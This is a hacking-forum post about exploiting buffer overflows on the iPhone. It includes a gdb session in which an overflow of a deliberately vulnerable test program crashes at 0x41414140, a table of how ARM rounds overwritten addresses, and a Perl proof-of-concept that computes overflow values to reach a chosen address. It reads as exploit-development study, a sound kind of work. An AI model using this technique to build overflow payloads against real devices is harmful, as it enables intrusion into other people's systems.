Nullbyte.Org.IL :: iPhone buffer overflow address adjuster \ encoder

iPhone buffer overflow address adjuster \ encoder

# iPhone buffer overflow address adjuster \ encoder by TheLeader
# GSOG [ST0P]]SP4M] hotmail [ST0P]]SP4M] com
# ShoutZ: forums.hacking.org.il
# SP. ThX: aviho1
#
# - Background -
#
# Yesterday I tested out gcc for the iphone. one
# of the first programs I compiled was a classic
# "vuln.c", which contains a simple program
# vulnerable to buffer overflow. after
# compilation, execution and debugging with gdb,
# I have managed to overwrite the register "r3"
# (I have absolutely no previous experience with
# ARM assembly). BUT, while I was attempting to
# overwrite the register with AAAA (which
# translates to 0x41414141), the address I
# actually managed to pull off was 0x41414140:
#
# localhost:/var/mobile/Test root# perl -e 'system("gdb --args vuln ".("A"x508))'
# GNU gdb 6.3.50.20050815-cvs (Tue Nov 11 11:06:48 UTC 2008)

# [After a few lines..]
# (gdb) r
# Starting program: /private/var/mobile/Test/vuln AAAAA [etc..]
# The exec file is 64 bits but the attach target is 32 bits.
# Quit gdb & restart, using "--arch" to select the 32 bit fork of the executable.
# (gdb) c
# Continuing.

#
# Program received signal EXC_BAD_ACCESS, Could not access memory.
# Reason: KERN_INVALID_ADDRESS at address: 0x41414140
# 0x41414140 in ?? ()
#(gdb) q
#
# Yup, it was pretty frustrating.
#
# - Breaking the algorithm - 
#
# After some help from aviho1, I figured out the
# algorithm. It is a sequence which decrements
# a specific value from the input, and then the
# register gets overwritten with the decremented
# value. aviho1 pointed out it affects and is
# affected only by last half-byte of the address.
# for example - if the last half-byte is 1, the
# number decremented is 1, meaning -1. from here
# I just tested every one of the 16 possiblities:
#
# 0x41414140 -> 0x41414140; -0
# 0x41414141 -> 0x41414140; -1
# 0x41414142 -> 0x41414140; -2
# 0x41414143 -> 0x41414142; -1
# 0x41414144 -> 0x41414144; -0
# 0x41414145 -> 0x41414144; -1
# 0x41414146 -> 0x41414144; -2
# 0x41414147 -> 0x41414146; -1
# 0x41414148 -> 0x41414148; -0
# 0x41414149 -> 0x41414148; -1
# 0x4141414a -> 0x41414148; -2
# 0x4141414b -> 0x4141414a; -1
# 0x4141414c -> 0x4141414c; -0
# 0x4141414d -> 0x4141414c; -1
# 0x4141414e -> 0x4141414c; -2
# 0x4141414f -> 0x4141414e; -1
#
# - Unreachable Addresses -
#
# As you may have noticed, every second
# address cannot be reached, for example:
# 0x41414141, 0x41414143, 0x41414145 etc.
# The reason for this is that a -0 address
# points to itself, AND the next 2 addresses
# point to it. as a result, no address points
# to a -1 address.
#
# - PoC -
#
# I have wrote this simple perl script, which
# "adjusts" the input address so that the
# register gets overwritten with the desired
# address. Generally it generates a "pointer"
# address for a target address. Check it out! ;)
#
#                                     -TheLeader

print "\n";

if (!@ARGV)
{
  die "  Usage:   iphone-encode.pl address\n" .
      "  Example: iphone-encode.pl 0x42424242\n";
}

if (!(@ARGV[0] =~ m/^(0x)?[a-f|A-F|0-9]{8}$/))
{
  die "  Not a valid 4-byte address, check your input.\n"
}

my $x = hex(substr (@ARGV[0], -1));
my $y = $x;
my $z = substr (@ARGV[0], 0, -1);

while ($x >= 4)
{
  $x -= 4;
}

if ($x == 0)
{
  yay($z . dec2hex ($y));
  yay($z . dec2hex ($y + 1));
  yay($z . dec2hex ($y + 2));
}

if ($x == 2)
{
  yay($z . sprintf("%x", $y + 0x01));
}

if (($x == 1) || ($x == 0x03))
{
  print "  Unreachable address. Better try again with another address :)\n";
}

sub yay
{
  print "  Overflow with @_[0] to reach @ARGV[0]\n";
}

sub dec2hex
{
  return sprintf("%x", @_[0]);
}

Back